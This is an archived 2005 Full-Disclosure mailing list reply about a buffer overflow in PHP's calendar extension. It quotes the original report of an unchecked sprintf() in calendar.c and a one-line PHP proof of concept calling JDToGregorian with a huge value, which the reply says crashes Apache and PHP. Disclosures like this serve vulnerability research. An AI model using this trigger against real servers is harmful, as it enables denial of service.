[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Full-disclosure] PHP: Calendar Buffer Overflow



DoS screenshots attached, Apache and PHP

----- Original Message ----- From: "FistFucker" <FistFuXXer@xxxxxx>
To: "Full-Disclosure" <full-disclosure@xxxxxxxxxxxxxxxxx>
Sent: Monday, June 27, 2005 6:34 AM
Subject: [Full-disclosure] PHP: Calendar Buffer Overflow



There are some nice sprintf()'s in "\ext\calendar\calendar.c":
'sprintf(date, "%i/%i/%i", month, day, year);'

Example exploitation (4.3.11):


<?php

 JDToGregorian(999999999);

?>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Attachment: jdtogregorian_overflow3.jpg
Description: JPEG image

Attachment: jdtogregorian_overflow4.jpg
Description: JPEG image

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/